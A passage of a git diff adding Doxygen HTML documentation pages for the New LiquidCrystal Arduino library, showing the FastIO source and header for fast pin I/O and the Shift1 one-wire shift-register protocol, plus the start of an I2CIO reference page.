+Functions

int fio_digitalRead (fio_register pinRegister, uint8_t pinBit)
void fio_digitalWrite (fio_register pinRegister, fio_bit pinBit, uint8_t value)
fio_bit fio_pinToBit (uint8_t pin)
fio_register fio_pinToInputRegister (uint8_t pin)
fio_register fio_pinToOutputRegister (uint8_t pin, uint8_t initial_state)
void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit)
void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit, uint8_t value, uint8_t bitOrder)
void fio_shiftOut1 (uint8_t pin, uint8_t value, boolean noLatch)
void fio_shiftOut1 (fio_register shift1Register, fio_bit shift1Bit, uint8_t value, boolean noLatch)
void fio_shiftOut1_init (fio_register shift1Register, fio_bit shift1Bit)
void fio_shiftOut1_init (uint8_t pin)
+

Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
int fio_digitalRead (fio_register pinRegister,
fio_bit pinBit 
)
+
+
+

direct digital read without any checks falls back to normal digitalRead if fast io is disabled

+
Parameters:
+ + + +
pinRegister[in]Register - ignored if fast io is disabled
pinBit[in]Bit - Pin if fast io is disabled
+
+
+
Returns:
Value read from pin
+ +

Definition at line 95 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void fio_digitalWrite (fio_register pinRegister,
fio_bit pinBit,
uint8_t value 
)
+
+
+

direct digital write without any checks falls back to normal digitalWrite if fast io is disabled

+
Parameters:
+ + + + +
pinRegister[in]Register - ignored if fast digital write is disabled
pinBit[in]Bit - Pin if fast digital write is disabled
value[in]desired output
+
+
+ +

Definition at line 76 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
fio_bit fio_pinToBit (uint8_t pin)
+
+
+

Find the bit which belongs to specified pin if fast digitalWrite is disabled this function returns the pin

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Bit
+ +

Definition at line 65 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
fio_register fio_pinToInputRegister (uint8_t pin)
+
+
+

Get the input register for specified pin. if fast digital IO is disabled this function returns NULL

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Register
+ +

Definition at line 52 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
fio_register fio_pinToOutputRegister (uint8_t pin,
uint8_t initial_state = LOW 
)
+
+
+

Get the output register for specified pin. if fast digital IO is disabled this function returns NULL

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Register
+ +

Definition at line 35 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut (fio_register dataRegister,
fio_bit dataBit,
fio_register clockRegister,
fio_bit clockBit 
)
+
+
+

faster shift out clear using fast digital write falls back to normal digitalWrite if fastio is disabled

+
Parameters:
+ + + + + +
dataRegister[in]Register of data pin - ignored if fast digital write is disabled
dataBit[in]Bit of data pin - Pin if fast digital write is disabled
clockRegister[in]Register of data pin - ignored if fast digital write is disabled
clockBit[in]Bit of data pin - Pin if fast digital write is disabled
+
+
+ +

Definition at line 159 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut (fio_register dataRegister,
fio_bit dataBit,
fio_register clockRegister,
fio_bit clockBit,
uint8_t value,
uint8_t bitOrder 
)
+
+
+

faster shift out using fast digital write falls back to normal digitalWrite if fastio is disabled

+
Parameters:
+ + + + + + +
dataRegister[in]Register of data pin - ignored if fast digital write is disabled
dataBit[in]Bit of data pin - Pin if fast digital write is disabled
clockRegister[in]Register of data pin - ignored if fast digital write is disabled
clockBit[in]Bit of data pin - Pin if fast digital write is disabled
bitOrder[in]bit order
+
+
+ +

Definition at line 108 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut1 (uint8_t pin,
uint8_t value,
boolean noLatch = false 
)
+
+
+

one wire shift out protocol needs initialisation (fio_shiftOut1_init)

+
Parameters:
+ + + +
pin[in]digital pin
value[in]value to shift out, last byte is ignored and always shifted out LOW
+
+
+ +

Definition at line 264 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut1 (fio_register shift1Register,
fio_bit shift1Bit,
uint8_t value,
boolean noLatch = false 
)
+
+
+

one wire shift out protocol needs initialisation (fio_shiftOut1_init)

+
Parameters:
+ + + + +
shift1Register[in]pins register
shift1Bit[in]pins bit
value[in]value to shift out, last byte is ignored and always shifted out LOW
+
+
+ +

Definition at line 190 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void fio_shiftOut1_init (fio_register shift1Register,
fio_bit shift1Bit 
)
+
+
+

initializes one wire shift out protocol Puts pin to HIGH state and delays until Capacitors are charged.

+
Parameters:
+ + + +
shift1Register[in]pins register
shift1Bit[in]pins bit
+
+
+ +

Definition at line 181 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void fio_shiftOut1_init (uint8_t pin)
+
+
+

initializes one wire shift out protocol Puts pin to HIGH state and delays until Capacitors are charged.

+
Parameters:
+ + +
pin[in]digital pin
+
+
+ +

Definition at line 176 of file FastIO.cpp.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8cpp_source.html new file mode 100644 index 0000000..dc0cf2c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8cpp_source.html @@ -0,0 +1,378 @@ + + + + +LCD Library: FastIO.cpp Source File + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
FastIO.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Florian Fida on 20/01/12
+00003 // Copyright 2012 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //        http://creativecommons.org/licenses/by-sa/3.0/
+00006 //
+00007 // This software is furnished "as is", without technical support, and with no
+00008 // warranty, express or implied, as to its usefulness for any purpose.
+00009 // ---------------------------------------------------------------------------
+00010 // fio_shiftOut1 functions are based on Shif1 protocol developed by Roman Black 
+00011 // (http://www.romanblack.com/shift1.htm)
+00012 //
+00013 // Thread Safe: No
+00014 // Extendable: Yes
+00015 //
+00016 // @file FastIO.h
+00017 // This file implements basic fast IO routines.
+00018 // 
+00019 // @brief 
+00020 //
+00021 // @version API 1.0.0
+00022 //
+00023 // @author Florian Fida -
+00024 //
+00025 // 2012-03-16 bperrybap updated fio_shiftout() to be smaller & faster
+00026 //
+00027 // @todo:
+00028 //  support chipkit:
+00029 // (https://github.com/chipKIT32/chipKIT32-MAX/blob/master/hardware/pic32/
+00030 //   cores/pic32/wiring_digital.c)
+00031 // ---------------------------------------------------------------------------
+00032 #include "FastIO.h"
+00033 
+00034 
+00035 fio_register fio_pinToOutputRegister(uint8_t pin, uint8_t initial_state)
+00036 {
+00037         pinMode(pin, OUTPUT);
+00038    
+00039         if(initial_state != SKIP) 
+00040    {
+00041       digitalWrite(pin, initial_state); // also turns off pwm timer
+00042    }
+00043 #ifdef FIO_FALLBACK
+00044         //  just wasting memory if not using fast io...
+00045         return 0;
+00046 #else
+00047         return portOutputRegister(digitalPinToPort(pin));
+00048 #endif
+00049 }
+00050 
+00051 
+00052 fio_register fio_pinToInputRegister(uint8_t pin)
+00053 {
+00054         pinMode(pin, INPUT);
+00055         digitalWrite(pin, LOW); // also turns off pwm timer and pullup
+00056 #ifdef FIO_FALLBACK
+00057         //  just wasting memory if not using fast io...
+00058         return 0;
+00059 #else
+00060         return portInputRegister(digitalPinToPort(pin));
+00061 #endif
+00062 }
+00063 
+00064 
+00065 fio_bit fio_pinToBit(uint8_t pin)
+00066 {
+00067 #ifdef FIO_FALLBACK
+00068         // (ab)use the bit variable to store the pin
+00069         return pin;
+00070 #else
+00071         return digitalPinToBitMask(pin);
+00072 #endif
+00073 }
+00074 
+00075 
+00076 void fio_digitalWrite(fio_register pinRegister, fio_bit pinBit, uint8_t value) 
+00077 {
+00078 #ifdef FIO_FALLBACK
+00079         digitalWrite(pinBit, value);
+00080 #else
+00081    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00082    {
+00083       if(value == LOW)
+00084       {
+00085          fio_digitalWrite_LOW(pinRegister,pinBit);
+00086       }
+00087       else
+00088       {
+00089          fio_digitalWrite_HIGH(pinRegister,pinBit);
+00090       }
+00091    }
+00092 #endif
+00093 }
+00094 
+00095 int fio_digitalRead(fio_register pinRegister, uint8_t pinBit)
+00096 {
+00097 #ifdef FIO_FALLBACK
+00098         return digitalRead (pinBit);
+00099 #else
+00100         if (*pinRegister & pinBit)
+00101    {
+00102       return HIGH;
+00103    }
+00104         return LOW;
+00105 #endif
+00106 }
+00107 
+00108 void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, 
+00109                    fio_register clockRegister, fio_bit clockBit, 
+00110                    uint8_t value, uint8_t bitOrder)
+00111 {
+00112         // # disable interrupts
+00113         int8_t i;
+00114    
+00115         if(bitOrder == LSBFIRST)
+00116         {
+00117                 for(i = 0; i < 8; i++)
+00118                 {
+00119                         ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00120                         {
+00121                                 if(value & 1)
+00122             {
+00123                fio_digitalWrite_HIGH(dataRegister, dataBit);
+00124                                 }
+00125             else
+00126             {
+00127                fio_digitalWrite_LOW(dataRegister, dataBit);
+00128             }
+00129             value >>= 1;
+00130                                 fio_digitalWrite_HIGH (clockRegister, clockBit);
+00131                                 fio_digitalWrite_LOW (clockRegister,clockBit);
+00132                         }
+00133                 }
+00134       
+00135         }
+00136         else
+00137         {
+00138                 for(i = 0; i < 8; i++)
+00139                 {
+00140                         ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00141                         {
+00142                                 if(value & 0x80)
+00143             {
+00144                fio_digitalWrite_HIGH(dataRegister, dataBit);
+00145                                 }
+00146             else
+00147             {
+00148                fio_digitalWrite_LOW(dataRegister, dataBit);
+00149             }
+00150                                 value <<= 1;
+00151                                 fio_digitalWrite_HIGH (clockRegister, clockBit);
+00152                                 fio_digitalWrite_LOW (clockRegister,clockBit);
+00153                         }
+00154                 }
+00155         }
+00156 }
+00157 
+00158 
+00159 void fio_shiftOut(fio_register dataRegister, fio_bit dataBit, 
+00160                   fio_register clockRegister, fio_bit clockBit)
+00161 {
+00162    ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00163    {
+00164       // shift out 0x0 (B00000000) fast, byte order is irrelevant
+00165       fio_digitalWrite_LOW (dataRegister, dataBit);
+00166       
+00167       for(uint8_t i = 0; i<8; ++i)
+00168       {
+00169          fio_digitalWrite_HIGH (clockRegister, clockBit);
+00170          fio_digitalWrite_SWITCH (clockRegister, clockBit);
+00171       }
+00172    }
+00173 }
+00174 
+00175 
+00176 void fio_shiftOut1_init(uint8_t pin)
+00177 {
+00178         fio_shiftOut1_init(fio_pinToOutputRegister(pin,HIGH),fio_pinToBit(pin));
+00179 }
+00180 
+00181 void fio_shiftOut1_init(fio_register shift1Register, fio_bit shift1Bit)
+00182 {
+00183         // Make sure that capacitors are charged
+00184         // 300us is an educated guess...
+00185         fio_digitalWrite(shift1Register,shift1Bit,HIGH);
+00186         delayMicroseconds(300);
+00187 }
+00188 
+00189 
+00190 void fio_shiftOut1(fio_register shift1Register, fio_bit shift1Bit, uint8_t value, 
+00191                    boolean noLatch)
+00192 {
+00193         /*
+00194          * this function are based on Shif1 protocol developed by Roman Black 
+00195     *    (http://www.romanblack.com/shift1.htm)
+00196          *
+00197          * test sketches:
+00198          *      http://pastebin.com/raw.php?i=2hnC9v2Z
+00199          *      http://pastebin.com/raw.php?i=bGg4DhXQ
+00200          *      http://pastebin.com/raw.php?i=tg1ZFiM5
+00201          *    http://pastebin.com/raw.php?i=93ExPDD3 - cascading
+00202          * tested with:
+00203          *      TPIC6595N - seems to work fine (circuit: http://www.3guys1laser.com/
+00204     *                   arduino-one-wire-shift-register-prototype)
+00205          *      7HC595N
+00206          */
+00207    
+00208         // iterate but ignore last bit (is it correct now?)
+00209         for(int8_t i = 7; i>=0; --i)
+00210    {
+00211       
+00212                 // assume that pin is HIGH (smokin' pot all day... :) - requires 
+00213       // initialization
+00214                 if(value & _BV(i))
+00215       {
+00216          ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00217          {
+00218             // HIGH = 1 Bit
+00219             fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW);
+00220             //hold pin LOW for 1us - done! :)
+00221             fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,HIGH);
+00222          } // end critical section
+00223          //hold pin HIGH for 15us
+00224          delayMicroseconds(15);
+00225                 }
+00226       else
+00227       {
+00228          ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00229          {
+00230             // LOW = 0 Bit
+00231             fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW);
+00232             // hold pin LOW for 15us
+00233             delayMicroseconds(15);
+00234             fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,HIGH);
+00235          } // end critical section
+00236          
+00237          // hold pin HIGH for 30us
+00238          delayMicroseconds(30);         
+00239                 }
+00240                 if(!noLatch && i==1)
+00241       {
+00242          break;
+00243       }
+00244         }
+00245    
+00246         if(!noLatch)
+00247    {
+00248       ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00249       {
+00250          // send last bit (=LOW) and Latch command
+00251          fio_digitalWrite_SWITCHTO(shift1Register,shift1Bit,LOW);
+00252       } // end critical section
+00253       delayMicroseconds(199);           // Hold pin low for 200us
+00254       
+00255       ATOMIC_BLOCK(ATOMIC_RESTORESTATE)
+00256       {
+00257          fio_digitalWrite_HIGH(shift1Register,shift1Bit);
+00258       } // end critical section
+00259                 delayMicroseconds(299);   // Hold pin high for 300us and leave it that 
+00260       // way - using explicit HIGH here, just in case.
+00261         }
+00262 }
+00263 
+00264 void fio_shiftOut1(uint8_t pin, uint8_t value, boolean noLatch)
+00265 {
+00266         fio_shiftOut1(fio_pinToOutputRegister(pin, SKIP),fio_pinToBit(pin),value, noLatch);
+00267 }
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8h.html new file mode 100644 index 0000000..8137412 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8h.html @@ -0,0 +1,813 @@ + + + + +LCD Library: FastIO.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+ +
+
FastIO.h File Reference
+
+
+
#include <WProgram.h>
+#include <pins_arduino.h>
+#include <inttypes.h>
+
+

Go to the source code of this file.

+ + + + + + + + + + + + + + + + + + + + + + + + + +

+Defines

#define ATOMIC_BLOCK(dummy)   if(true)
#define ATOMIC_RESTORESTATE
#define fio_digitalWrite_HIGH(reg, bit)   digitalWrite(bit,HIGH)
#define fio_digitalWrite_LOW(reg, bit)   digitalWrite(bit,LOW)
#define fio_digitalWrite_SWITCH(reg, bit)   digitalWrite(bit, !digitalRead(bit))
#define fio_digitalWrite_SWITCHTO(reg, bit, val)   digitalWrite(bit,val);
#define FIO_FALLBACK
#define SKIP   0x23

+Typedefs

typedef uint8_t fio_bit
typedef uint8_t fio_register

+Functions

int fio_digitalRead (fio_register pinRegister, fio_bit pinBit)
void fio_digitalWrite (fio_register pinRegister, fio_bit pinBit, uint8_t value)
fio_bit fio_pinToBit (uint8_t pin)
fio_register fio_pinToInputRegister (uint8_t pin)
fio_register fio_pinToOutputRegister (uint8_t pin, uint8_t initial_state=LOW)
void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit)
void fio_shiftOut (fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit, uint8_t value, uint8_t bitOrder)
void fio_shiftOut1 (fio_register shift1Register, fio_bit shift1Bit, uint8_t value, boolean noLatch=false)
void fio_shiftOut1 (uint8_t pin, uint8_t value, boolean noLatch=false)
void fio_shiftOut1_init (fio_register shift1Register, fio_bit shift1Bit)
void fio_shiftOut1_init (uint8_t pin)
+

Define Documentation

+ +
+
+ + + + + + + + +
#define ATOMIC_BLOCK( dummy)   if(true)
+
+
+ +

Definition at line 58 of file FastIO.h.

+ +
+
+ +
+
+ + + + +
#define ATOMIC_RESTORESTATE
+
+
+ +

Definition at line 59 of file FastIO.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
#define fio_digitalWrite_HIGH( reg,
 bit 
)   digitalWrite(bit,HIGH)
+
+
+

This is where the magic happens that makes things fast. Implemented as preprocessor directives to force inlining SWITCH is fast for FIO but probably slow for FIO_FALLBACK so SWITCHTO is recommended if the value is known.

+ +

Definition at line 143 of file FastIO.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
#define fio_digitalWrite_LOW( reg,
 bit 
)   digitalWrite(bit,LOW)
+
+
+ +

Definition at line 144 of file FastIO.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
#define fio_digitalWrite_SWITCH( reg,
 bit 
)   digitalWrite(bit, !digitalRead(bit))
+
+
+ +

Definition at line 145 of file FastIO.h.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
#define fio_digitalWrite_SWITCHTO( reg,
 bit,
 val 
)   digitalWrite(bit,val);
+
+
+ +

Definition at line 146 of file FastIO.h.

+ +
+
+ +
+
+ + + + +
#define FIO_FALLBACK
+
+
+ +

Definition at line 57 of file FastIO.h.

+ +
+
+ +
+
+ + + + +
#define SKIP   0x23
+
+
+ +

Definition at line 42 of file FastIO.h.

+ +
+
+

Typedef Documentation

+ +
+
+ + + + +
typedef uint8_t fio_bit
+
+
+ +

Definition at line 60 of file FastIO.h.

+ +
+
+ +
+
+ + + + +
typedef uint8_t fio_register
+
+
+ +

Definition at line 61 of file FastIO.h.

+ +
+
+

Function Documentation

+ +
+
+ + + + + + + + + + + + + + + + + + +
int fio_digitalRead (fio_register pinRegister,
fio_bit pinBit 
)
+
+
+

direct digital read without any checks falls back to normal digitalRead if fast io is disabled

+
Parameters:
+ + + +
pinRegister[in]Register - ignored if fast io is disabled
pinBit[in]Bit - Pin if fast io is disabled
+
+
+
Returns:
Value read from pin
+ +

Definition at line 95 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void fio_digitalWrite (fio_register pinRegister,
fio_bit pinBit,
uint8_t value 
)
+
+
+

direct digital write without any checks falls back to normal digitalWrite if fast io is disabled

+
Parameters:
+ + + + +
pinRegister[in]Register - ignored if fast digital write is disabled
pinBit[in]Bit - Pin if fast digital write is disabled
value[in]desired output
+
+
+ +

Definition at line 76 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
fio_bit fio_pinToBit (uint8_t pin)
+
+
+

Find the bit which belongs to specified pin if fast digitalWrite is disabled this function returns the pin

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Bit
+ +

Definition at line 65 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
fio_register fio_pinToInputRegister (uint8_t pin)
+
+
+

Get the input register for specified pin. if fast digital IO is disabled this function returns NULL

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Register
+ +

Definition at line 52 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
fio_register fio_pinToOutputRegister (uint8_t pin,
uint8_t initial_state = LOW 
)
+
+
+

Get the output register for specified pin. if fast digital IO is disabled this function returns NULL

+
Parameters:
+ + +
pin[in]Number of a digital pin
+
+
+
Returns:
Register
+ +

Definition at line 35 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut (fio_register dataRegister,
fio_bit dataBit,
fio_register clockRegister,
fio_bit clockBit 
)
+
+
+

faster shift out clear using fast digital write falls back to normal digitalWrite if fastio is disabled

+
Parameters:
+ + + + + +
dataRegister[in]Register of data pin - ignored if fast digital write is disabled
dataBit[in]Bit of data pin - Pin if fast digital write is disabled
clockRegister[in]Register of data pin - ignored if fast digital write is disabled
clockBit[in]Bit of data pin - Pin if fast digital write is disabled
+
+
+ +

Definition at line 159 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut (fio_register dataRegister,
fio_bit dataBit,
fio_register clockRegister,
fio_bit clockBit,
uint8_t value,
uint8_t bitOrder 
)
+
+
+

faster shift out using fast digital write falls back to normal digitalWrite if fastio is disabled

+
Parameters:
+ + + + + + +
dataRegister[in]Register of data pin - ignored if fast digital write is disabled
dataBit[in]Bit of data pin - Pin if fast digital write is disabled
clockRegister[in]Register of data pin - ignored if fast digital write is disabled
clockBit[in]Bit of data pin - Pin if fast digital write is disabled
bitOrder[in]bit order
+
+
+ +

Definition at line 108 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut1 (fio_register shift1Register,
fio_bit shift1Bit,
uint8_t value,
boolean noLatch = false 
)
+
+
+

one wire shift out protocol needs initialisation (fio_shiftOut1_init)

+
Parameters:
+ + + + +
shift1Register[in]pins register
shift1Bit[in]pins bit
value[in]value to shift out, last byte is ignored and always shifted out LOW
+
+
+ +

Definition at line 190 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
void fio_shiftOut1 (uint8_t pin,
uint8_t value,
boolean noLatch = false 
)
+
+
+

one wire shift out protocol needs initialisation (fio_shiftOut1_init)

+
Parameters:
+ + + +
pin[in]digital pin
value[in]value to shift out, last byte is ignored and always shifted out LOW
+
+
+ +

Definition at line 264 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + + + + + + + + + + + +
void fio_shiftOut1_init (fio_register shift1Register,
fio_bit shift1Bit 
)
+
+
+

initializes one wire shift out protocol Puts pin to HIGH state and delays until Capacitors are charged.

+
Parameters:
+ + + +
shift1Register[in]pins register
shift1Bit[in]pins bit
+
+
+ +

Definition at line 181 of file FastIO.cpp.

+ +
+
+ +
+
+ + + + + + + + +
void fio_shiftOut1_init (uint8_t pin)
+
+
+

initializes one wire shift out protocol Puts pin to HIGH state and delays until Capacitors are charged.

+
Parameters:
+ + +
pin[in]digital pin
+
+
+ +

Definition at line 176 of file FastIO.cpp.

+ +
+
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8h_source.html new file mode 100644 index 0000000..3e5100d --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_fast_i_o_8h_source.html @@ -0,0 +1,222 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/FastIO.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/FastIO.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by Florian Fida on 20/01/12
+
3 // Copyright 2012 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 // http://creativecommons.org/licenses/by-sa/3.0/
+
6 //
+
7 // This software is furnished "as is", without technical support, and with no
+
8 // warranty, express or implied, as to its usefulness for any purpose.
+
9 // ---------------------------------------------------------------------------
+
10 // fio_shiftOut1 functions are based on Shif1 protocol developed by Roman Black
+
11 // (http://www.romanblack.com/shift1.htm)
+
12 //
+
13 // Thread Safe: No
+
14 // Extendable: Yes
+
15 //
+
16 // @file FastIO.h
+
17 // This file implements basic fast IO routines.
+
18 //
+
19 // @brief
+
20 //
+
21 // @version API 1.0.0
+
22 //
+
23 // @author Florian Fida -
+
24 // 2012-03-16 bperrybap mods for chipkit32 (pic32) Arduino
+
25 // support chipkit:
+
26 // (https://github.com/chipKIT32/chipKIT32-MAX/blob/master/hardware/pic32/
+
27 // cores/pic32/wiring_digital.c)
+
28 // ---------------------------------------------------------------------------
+
29 #ifndef _FAST_IO_H_
+
30 #define _FAST_IO_H_
+
31 
+
32 #if (ARDUINO < 100)
+
33 #include <WProgram.h>
+
34 #else
+
35 #include <Arduino.h>
+
36 #endif
+
37 
+
38 #include <pins_arduino.h> // pleasing sanguino core
+
39 #include <inttypes.h>
+
40 
+
41 
+
42 #define SKIP 0x23
+
43 
+
44 #if defined (__AVR__)
+
45 #include <util/atomic.h> // for critical section management
+
46 typedef uint8_t fio_bit;
+
47 typedef volatile uint8_t *fio_register;
+
48 
+
49 
+
50 #elif defined(__PIC32MX__)
+
51 typedef uint32_t fio_bit;
+
52 typedef volatile uint32_t *fio_register;
+
53 
+
54 
+
55 #else
+
56 // fallback to Arduino standard digital i/o routines
+
57 #define FIO_FALLBACK
+
58 #define ATOMIC_BLOCK(dummy) if(true)
+
59 #define ATOMIC_RESTORESTATE
+
60 typedef uint8_t fio_bit;
+
61 typedef uint8_t fio_register;
+
62 #endif
+
63 
+
64 
+
65 
+
66 #if !defined(FIO_FALLBACK) && !defined(ATOMIC_BLOCK)
+
67 /*
+
68  * Define an ATOMIC_BLOCK that implements ATOMIC_FORCEON type
+
69  * Using the portable Arduino interrupts() and noInterrupts()
+
70  */
+
71 #define ATOMIC_RESTORESTATE ATOMIC_FORCEON // sorry, no support for save/restore yet.
+
72 #define ATOMIC_FORCEON uint8_t sreg_save \
+
73  __attribute__((__cleanup__(__iSeiParam))) = 0
+
74 
+
75 static __inline__ uint8_t __iCliRetVal(void)
+
76 {
+
77  noInterrupts();
+
78  return(1);
+
79 }
+
80 static __inline__ void __iSeiParam(const uint8_t *__s)
+
81 {
+
82  interrupts();
+
83 }
+
84 #define ATOMIC_BLOCK(type) for(type, __Todo = __iCliRetVal(); __Todo; __Todo = 0)
+
85 
+
86 #endif // end of block to create compatible ATOMIC_BLOCK()
+
87 
+
88 
+
89 
+
97 fio_register fio_pinToOutputRegister(uint8_t pin, uint8_t initial_state = LOW);
+
98 
+
106 fio_register fio_pinToInputRegister(uint8_t pin);
+
107 
+
115 fio_bit fio_pinToBit(uint8_t pin);
+
116 
+
117 
+
127 // __attribute__ ((always_inline)) /* let the optimizer decide that for now */
+
128 void fio_digitalWrite ( fio_register pinRegister, fio_bit pinBit, uint8_t value );
+
129 
+
136 #ifndef FIO_FALLBACK
+
137 #define fio_digitalWrite_LOW(reg,bit) *reg &= ~bit
+
138 #define fio_digitalWrite_HIGH(reg,bit) *reg |= bit
+
139 #define fio_digitalWrite_SWITCH(reg,bit) *reg ^= bit
+
140 #define fio_digitalWrite_SWITCHTO(reg,bit,val) fio_digitalWrite_SWITCH(reg,bit)
+
141 #else
+
142 // reg -> dummy NULL, bit -> pin
+
143 #define fio_digitalWrite_HIGH(reg,bit) digitalWrite(bit,HIGH)
+
144 #define fio_digitalWrite_LOW(reg,bit) digitalWrite(bit,LOW)
+
145 #define fio_digitalWrite_SWITCH(reg,bit) digitalWrite(bit, !digitalRead(bit))
+
146 #define fio_digitalWrite_SWITCHTO(reg,bit,val) digitalWrite(bit,val);
+
147 #endif
+
148 
+
158 int fio_digitalRead ( fio_register pinRegister, fio_bit pinBit );
+
159 
+
171 void fio_shiftOut( fio_register dataRegister, fio_bit dataBit, fio_register clockRegister,
+
172  fio_bit clockBit, uint8_t value, uint8_t bitOrder );
+
173 
+
184 void fio_shiftOut(fio_register dataRegister, fio_bit dataBit, fio_register clockRegister, fio_bit clockBit);
+
185 
+
194 void fio_shiftOut1(fio_register shift1Register, fio_bit shift1Bit, uint8_t value, boolean noLatch = false);
+
202 void fio_shiftOut1(uint8_t pin, uint8_t value, boolean noLatch = false);
+
210 void fio_shiftOut1_init(fio_register shift1Register, fio_bit shift1Bit);
+
217 void fio_shiftOut1_init(uint8_t pin);
+
218 
+
219 #endif // FAST_IO_H
+
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8cpp.html b/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8cpp.html new file mode 100644 index 0000000..0b5ae7c --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_i2_c_i_o_8cpp.html @@ -0,0 +1,119 @@ + + + + +LCD Library: I2CIO.cpp File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
I2CIO.cpp File Reference
+
+
+
#include <WProgram.h>
+#include <inttypes.h>
+#include <../Wire/Wire.h>
+#include "I2CIO.h"
+
+

Go to the source code of this file.

+ +
+
+
+ + + + + +
+ +
